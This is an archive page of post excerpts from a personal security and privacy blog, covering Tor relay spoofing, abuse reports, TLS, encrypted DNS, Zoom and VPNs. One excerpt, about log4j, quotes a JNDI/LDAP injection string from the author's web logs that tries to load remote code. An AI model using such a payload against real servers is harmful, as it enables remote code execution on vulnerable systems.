This email just in from the tor project team. From: gus To: tor-relays@lists.torproject.org Subject: [tor-relays] Update: Tor relays source IPs spoofed to mass-scan port 22 Date: Thu, 7 Nov 2024 15:49:37 -0300 Hello everyone, I’m writing to share that the origin of the spoofed packets has been identified and successfully shut down today, thanks to …
Category: security
Permanent link to this article: https://baldric.net/2024/11/07/spoof-source-identified/
Nov 06 2024
watchdogcyberdefense.com are complete bozos
And may even be malicious. I have been receiving “malicious activity” reports from my hosting ISP about my Tor node at “tor1.rlogin.net” since about the end of October. So far I have received five such reports. Each report takes the following form: We have received an abuse report from abuse@watchdogcyberdefense.com for your IP address 95.216.198.252. …
Permanent link to this article: https://baldric.net/2024/11/06/watchdogcyberdefense-com-are-complete-bozos/
Dec 21 2023
SIS troubles
Yesterday’s i newspaper lead with a report that SIS HQ at Vauxhall Cross could be overlooked from a flat in the new residential property built at St George Wharf. Said flat was reportedly purchased by Russians with links to a Soviet era property in Moscow which is roughly 300 metres away from the “Russian Intelligence …
Permanent link to this article: https://baldric.net/2023/12/21/sis-troubles/
Jan 16 2023
mobile (in)security
In my last post, an ex GCHQ staffer is quoted as saying: “If you’re stepping back a bit and saying what cars do park outside GCHQ or somewhere like Porton Down then you have the pool of information there if you ever need it.” which got me wondering about how secure existing protective measures around …
Permanent link to this article: https://baldric.net/2023/01/16/mobile-insecurity/
Jan 16 2023
brakes-as-a-service
Some parts of the UK press have been reporting recently on the “discovery” of “hidden Chinese tracking devices” in a UK Government car (the original inews report is behind a paywall). The reports quote a “serving member of the British intelligence community” as telling the i newspaper: “It [the tracking SIM] gives the ability to survey …
Permanent link to this article: https://baldric.net/2023/01/16/brakes-as-a-service/
Dec 17 2021
log4j
I guess that there are a lot of busy sysadmins around at the moment. My web logs are full of crud like: “GET /$%7Bjndi:ldap://123.345.567:789/Exploit%7D” and much lengthier entries trying to exploit the log4j vulnerability. In my case (and for this instance) I’m not that bothered because, luckily, I don’t run Apache, or any of its …
Permanent link to this article: https://baldric.net/2021/12/17/log4j/
Oct 15 2021
zuck off facebook
Or how to block the entire Facebook network. In my last post on Facebook’s misfortunes I mentioned that my wife initially blamed me, assuming it was just local and that I had made some new change to my local network configuration. Now whilst I do actually bin some of Facebook’s more annoying subdomains (such as …
Permanent link to this article: https://baldric.net/2021/10/15/zuck-off-facebook/
Sep 04 2021
stop starttls
I have been a subscriber to Hanno Böck’s Feisty Duck TLS Newsletter for some time. Böck’s newsletters provide a useful service to TLS users. I am also a big fan of Ivan Ristić’s “Openssl cookbook” which is available as a free download from the Feistyduck website. A couple of days ago the latest Feistyduck newsletter …
Permanent link to this article: https://baldric.net/2021/09/04/stop-starttls/
Apr 29 2021
RIP Dan Kaminsky
I learned today that Dan Kaminsky died on Friday 23 April of complications arising from his diabetes. (I would probably have learned earlier if I followed twitter, but I don’t.) He was only 42. I met Kaminsky at an MSRC Bluehat Forum in 2009. He was only 30 at the time, but already widely respected, …
Permanent link to this article: https://baldric.net/2021/04/29/rip-dan-kaminsky/
Nov 15 2020
comment spam irony
I am very careful about how, or even if, I allow comments on trivia. For example I disallow all comments on any post after a set period of time, I also refuse all comments until I have had time to read and thus moderate them. This cuts down on the type of rubbish often seen …
Permanent link to this article: https://baldric.net/2020/11/15/comment-spam-irony/
Jun 06 2020
encrypting DNS on android
My previous two posts discussed the need for encrypted DNS and then how to do it on a linux desktop. I do not have any Microsoft systems so I have no idea how to approach the problem if you use any form of Windows OS, nor do I have any Apple devices so I can’t …
Permanent link to this article: https://baldric.net/2020/06/06/encrypting-dns-on-android/
May 06 2020
encrypting DNS
Any casual reader of trivia will be aware that I care about my privacy and that I go to some lengths to maintain that privacy in the face of concerted attempts by ISPs, corporations, government agencies and others to subvert it. In particular I use personally managed OpenVPN servers at various locations to tunnel my …
Permanent link to this article: https://baldric.net/2020/05/06/encrypting-dns/
Apr 10 2020
zooming in on china
Since my previous post below, I have been reading up on Zoom as a company, its staffing and its worrying security (or rather lack of) track record. When I wrote the initial post I said that “Zoom is a US company funded almost entirely by venture capital. Its servers are US based.”. It appears that …
Permanent link to this article: https://baldric.net/2020/04/10/zooming-in-on-china/
Apr 03 2020
zooming in on cabinet
On Tuesday of this week, Boris Johnson tweeted a picture of what he called the UK’s “first ever digital Cabinet”. That picture (copy below) shows that the Cabinet meeting was held using Zoom – the sort of video conferencing software which is currently popular with business users forced to work at home during the Covid19 …
Permanent link to this article: https://baldric.net/2020/04/03/zooming-in-on-cabinet/
Mar 11 2020
beware the zombie apocalypse
Tom Scott is a young educational entertainer who publishes fairly regularly on youtube. Back in mid 2004, whilst still a linguistics student at York, he managed to upset both the Home Office and the Cabinet Office by publishing a Department of Vague Paranoia website spoofing the rather po faced official “Preparing for Emergencies” site. Tom’s …
Permanent link to this article: https://baldric.net/2020/03/11/beware-the-zombie-apocalypse/
Feb 27 2020
have I been pwned?
Well, I don’t think so. But for a while I was not entirely sure. Following the move last November of trivia from a VM on UK2’s datacentre in London to our new home on a faster VM on ITLDC’s network I have been making a variety of minor changes and doing some essential housework. One …
Permanent link to this article: https://baldric.net/2020/02/27/have-i-been-pwned/
Jan 22 2020
TLS certificate checks
My move of trivia to a new VM last December prompted me to look again at my server configuration. In particular I wanted to ensure that I was properly redirecting all HTTP requests to HTTPS and that the ciphers and protocols I support are as up to date and strong as possible. Mozilla offers a …
Permanent link to this article: https://baldric.net/2020/01/22/tls-certificate-checks/
Jul 15 2019
more password stupidity
A recent exchange of email with an old friend gave me cause to revisit on-line password/passphrase generators. I cannot for the life of me imagine why anyone would actually use such a thing, but there are a surprisingly large number out there. On the upside, most of these now seem to use TLS encrypted connections …
Permanent link to this article: https://baldric.net/2019/07/15/more-password-stupidity/
Jul 10 2019
add my name to the list
At the tail end of last year, Crispin Robinson and Ian Levy of GCHQ published a co-authored essay on “suggested” ways around the “going dark problem” that strong encryption in messaging poses Agencies such as GCHQ and its (foreign) National equivalents. In that essay, the authors were at pains to state that they were not …
Permanent link to this article: https://baldric.net/2019/07/10/add-my-name-to-the-list/
Dec 11 2018
well I never
It’s not often that I find myself agreeing with GCHQ, but ex GCHQ Director Robert Hannigan’s recent comments in an interview with the BBC Today programme struck a chord. Hannigan headed GCHQ from April 2014 until his resignation for family reasons last year. Whilst in post he pushed for greater transparency at the SIGINT agency. …
Permanent link to this article: https://baldric.net/2018/12/11/well-i-never/
Jul 07 2018
re-encrypting trivia
Back in June 2015 I decided to force all connections to trivia over TLS rather than allow plain unencrypted connections. I decided to do this for the obvious reason that it was (and still is) a “good thing” (TM). In my view, all transactions over the ‘net should be encrypted, preferably using strong cyphers offering …
Permanent link to this article: https://baldric.net/2018/07/07/re-encrypting-trivia/
Oct 14 2017
multilingual chat
I use email fairly extensively for my public communication but I use XMPP (with suitable end-to-end encryption) for my private, personal communication. And I use my own XMPP server to facilitate this. But as I have mentioned in previous posts my family and many of my friends insist on using proprietary variants of this open …
Permanent link to this article: https://baldric.net/2017/10/14/multilingual-chat/
May 12 2017
using a VPN to take back your privacy
With the passage into law of the iniquitous Investigatory Powers (IP) Bill in the UK at the end of November last year, it is way past time for all those who care about civil liberties in this country to exercise their right to privacy. The new IP Act permits HMG and its various agencies to …
Permanent link to this article: https://baldric.net/2017/05/12/using-a-vpn-to-take-back-your-privacy/
Mar 18 2017
pwned
I recently received a spam email to one of my email addresses. In itself this is annoying, but not particularly interesting or that unusual (despite my efforts to avoid such nuisances). What was unusual was the form of the address because it contained a username I have not used in a long time, and only …
Permanent link to this article: https://baldric.net/2017/03/18/pwned/